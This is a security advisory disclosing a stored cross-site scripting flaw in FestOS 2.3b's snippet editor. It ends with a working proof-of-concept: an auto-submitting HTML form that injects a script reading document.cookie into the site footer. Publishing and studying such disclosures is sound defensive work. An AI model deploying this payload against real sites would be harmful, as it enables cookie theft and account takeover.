Vulnerability ID: HTB22473 Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_festos_1.html Product: FestOS Vendor: Skypanther Studios, Inc ( http://festengine.org/ ) Vulnerable Version: 2.3b and Probably Prior Versions Vendor Notification: 01 July 2010 Vulnerability Type: Stored XSS (Cross Site Scripting) Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response Risk level: Medium Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: User can execute arbitrary JavaScript code within the vulnerable application. The vulnerability exists due to failure in the "/admin/do_snippets_edit.php" script to properly sanitize user-supplied input in "contents" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. An attacker can use browser to exploit this vulnerability. The following PoC is available: <form action="http://host/admin/do_snippets_edit.php?tabname=Pages"; method="post" name="main" > <input type="hidden" name="snippetID" value="1" /> <input type="hidden" name="title" value="Site footer" /> <input type="hidden" name="active" value="1" /> <input type="hidden" name="contents" value='footer"><script>alert(document.cookie)</script>' /> </form> <script> document.main.submit(); </script>
